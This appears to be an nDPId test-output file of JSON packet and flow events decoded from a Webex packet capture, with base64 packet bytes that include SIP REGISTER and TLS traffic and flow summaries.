+00411{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1323,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":819978,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA5JAABAGnqdQSm5ECggAAQG7gxHyFlTbDemuzFAQ\/\/9eyQAA"} +01139{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1324,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":820377,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJACypAAEAGZPcKCAABUEpuRIMSAbsmf9g72YApSlAQPLiaWAAAFwMBAjRD+jo6lijb0CU4enY4ktVHwhvDb53a0KzmuElqqs2mj6ZTIx4+Zg6itZ5u7ATetphsJCoqzXe60bRObl9nd77LT85AnM9GfC8yIvBr1YCFmOX6+z7gCziEnZFX42SqwJrXEOfOrWCvtIaFuKKU4QerRlwF6YSWMWlZvOOoXmxfpjQdKVN23Fhc8Oh3gJJSHNQZwHOIeK2xnbCFBcDWNHpeo8g7c04X+tV75wwjJkSSlzgojP2rfCZwQXlzUf3X5uIBsKQMt\/l0TG\/wjyBd8IhiXTl7epAh5Wwr5oknlT9QsBateWkWfjgQBCvVuE1wIQzxWMsJGZqDAXR281arBtRqEZ8Osyblyfi3wRp2USUzIbft9FgP2Dq6Se1i03XlQODqL2\/CWFu69vhFwxqbx7Gdx\/3SM2jz9zAtIwSvpBmpSxRR+5P950ixOQ5W9l2AlL7eo4a\/dX1uWi8HAKB4v+5J2VuaXgyL3gWKyJmIOs02kM2p6Xd4AhhHzp1\/69S31rYuxkk7ahDF70\/DqNexf3bu4Z6vsAD6P7svHR2azoccL+7wn88Dx\/b441V4p7RpDXVEv77biUmlaQRhSt6qRrYLnRCf+oeDDHf8phKSxSIAapsRqVWApoLyPPVw2UZBuFTvnQU79h2246cQhsXQo5F04lerVsJJDe8g0ew\/T4F8wu7TZ3AG\/1zE10oPDLOixY\/aD1E="} +00412{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1325,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":820465,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA5NAABAGnqZQSm5ECggAAQG7gxLZgClKJn\/aU1AQ\/\/9e0gAA"} +00453{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1326,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":821505,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"ABoRAAACABoRAAABCABFAABJCytAAEAGZu0KCAABUEpuRIMSAbsmf9pT2YApSlAYPLgQYQAAuGdYWm7oI2Q6bD6DntdNebH3n8e+lelqwRDYEKhxMe2c"} +00412{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1327,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":821625,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA5RAABAGnqVQSm5ECggAAQG7gxLZgClKJn\/adFAQ\/\/9esQAA"} +01273{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1328,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570701,"pkt_ts_usec":223576,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmFVFUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tOThmOGEyMzc5MzA4YTlkNDtycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNSBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00985{"flow_id":48,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1329,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570702,"pkt_ts_usec":226235,"pkt_caplen":472,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":472,"pkt_l4_len":438,"pkt":"ABoRAAACABoRAAABCABFAAHKA5VAABAGnQJQSm5ECggAAQG7gxHyFlTbDemuzFAY\/\/+U7QAAFwMBAQjk+7jR7JfHvy1sPIzLUsNWO9qX7m2c3whfA24NCvZ2ENqVFcLpSOuCbWzZIdZ\/+i8b+ZQ0qe4RNWzZJ7uEnPqAqiyzoMvoCIns23\/E2Zohk8rVed9YXAJYK6oir5N2dKVsMpMVnhZ2WFI2vtGtuDSz0z8b1BL0vExw5\/y71p3\/FN1wpC8WFQaA4CvQGQVqh7eq1FTsNVF\/TAjbJH6bXcKlxtJbJB8kAeCv90GBIHFyY+JiKRkpSTix9uDczX7fqn9KftRCwxL8f3u5Nse1whFSKtfHBKzwN3lI\/aKoSCprl313mKxaloK\/HddNBXJ6jNh++JMtEAN9NShObZddxkEQj1VabxBySZEXAwEAkCEowfgLRnukOVFETKYAqlf\/qIEPNIHNI1GLtueo\/CTCKrzkSkO8EK9VYdexcPPhWQR5TfQaDtJmV\/N41dzaBQvQzt85y2\/DBIhkPuIMiMAe3aFriSzV1WuEbGgsBZCAEa2qk3y6yjJ6lBcNd2eCJlHHGZSymdIzzI0FSka6aktsHsIFhv1ALIo2K6Scfn7miw=="} +01273{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1331,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570702,"pkt_ts_usec":232516,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmFVFUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tOThmOGEyMzc5MzA4YTlkNDtycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNSBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00409{"flow_id":48,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1338,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570703,"pkt_ts_usec":263760,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAod71AAEAG+nsKCAABUEpuRIMRAbsN6a7M8hZWfVAQQOgcPwAA"} +01273{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570703,"pkt_ts_usec":265249,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmFVFUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tOThmOGEyMzc5MzA4YTlkNDtycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNSBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01273{"flow_id":24,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1357,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570704,"pkt_ts_usec":686397,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmFVFUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tOThmOGEyMzc5MzA4YTlkNDtycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNSBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":15,"flow_first_seen":1444570636264,"flow_last_seen":1444570640345,"flow_tot_l4_data_len":4707,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":313,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.99","src_port":55969,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":17,"flow_first_seen":1444570636155,"flow_last_seen":1444570639261,"flow_tot_l4_data_len":4715,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2547,"flow_avg_l4_data_len":277,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51646,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":11,"flow_first_seen":1444570640298,"flow_last_seen":1444570645704,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51676,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":14,"flow_first_seen":1444570636160,"flow_last_seen":1444570639259,"flow_tot_l4_data_len":7320,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"209.197.222.159","src_port":47498,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":15,"flow_first_seen":1444570636259,"flow_last_seen":1444570640345,"flow_tot_l4_data_len":4707,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":313,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.100","src_port":52219,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":11,"flow_first_seen":1444570636270,"flow_last_seen":1444570640346,"flow_tot_l4_data_len":4210,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":382,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.200.11","src_port":47841,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":11,"flow_first_seen":1444570640284,"flow_last_seen":1444570645701,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.213.212","src_port":41757,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":17,"flow_first_seen":1444570636255,"flow_last_seen":1444570639258,"flow_tot_l4_data_len":7412,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2940,"flow_avg_l4_data_len":436,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.4.76","src_port":52730,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":5,"flow_first_seen":1444570640346,"flow_last_seen":1444570640407,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":20,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":29,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"80.74.110.68","src_port":33459,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":5,"flow_first_seen":1444570640346,"flow_last_seen":1444570640407,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":20,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":29,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"80.74.110.68","src_port":33459,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":17,"flow_first_seen":1444570636248,"flow_last_seen":1444570639255,"flow_tot_l4_data_len":7391,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2599,"flow_avg_l4_data_len":434,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.104.140","src_port":44492,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":16,"flow_first_seen":1444570636359,"flow_last_seen":1444570639256,"flow_tot_l4_data_len":6555,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2599,"flow_avg_l4_data_len":409,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.97","src_port":51370,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":18,"flow_first_seen":1444570636364,"flow_last_seen":1444570640403,"flow_tot_l4_data_len":6595,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":366,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37129,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":11,"flow_first_seen":1444570640310,"flow_last_seen":1444570645707,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37139,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":14,"flow_first_seen":1444570636170,"flow_last_seen":1444570639257,"flow_tot_l4_data_len":7320,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.153","src_port":57647,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":13,"flow_first_seen":1444570636252,"flow_last_seen":1444570640344,"flow_tot_l4_data_len":4250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2862,"flow_avg_l4_data_len":326,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47116,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":11,"flow_first_seen":1444570640269,"flow_last_seen":1444570645699,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47135,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":17,"flow_first_seen":1444570636387,"flow_last_seen":1444570640346,"flow_tot_l4_data_len":7823,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":460,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41386,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570709,"pkt_ts_usec":696086,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo02xAAEAGOU8KCAABPm3lnsp\/AbubwQuMZD71MFAROQh7vwAA"} +00410{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1405,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570709,"pkt_ts_usec":696919,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA7hAABAGOQQ+beWeCggAAQG7yn9kPvUwm8ELjVAQ\/\/+0xwAA"} +00410{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570709,"pkt_ts_usec":697460,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA7lAABAGOQM+beWeCggAAQG7yn9kPvUwm8ELjVAR\/\/+0xgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1408,"source":"webex.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1444570712008,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55687,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1408,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570712,"pkt_ts_usec":8198,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8BPxAAEAGfVYKCAABrfMAbtmHAbtwYOR3AAAAAKACOQhFnAAAAgQFtAQCCAoATOCLAAAAAAEDAwY="} +00409{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570712,"pkt_ts_usec":12584,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA7pAABAGrqyt8wBuCggAAQG72YePnxuIcGDkeFAS\/\/8cJQAA"} +00407{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570712,"pkt_ts_usec":13209,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoBP1AAEAGfWkKCAABrfMAbtmHAbtwYOR4j58biVAQOQjjHQAA"} +00665{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1411,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570712,"pkt_ts_usec":16521,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADjBP5AAEAGfK0KCAABrfMAbtmHAbtwYOR4j58biVAYOQiiYgAAFgMBALYBAACyAwGU3Odz\/vfsiokT464lK0c\/\/ta9zx7QCCoXHtBhwwrAhAAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} 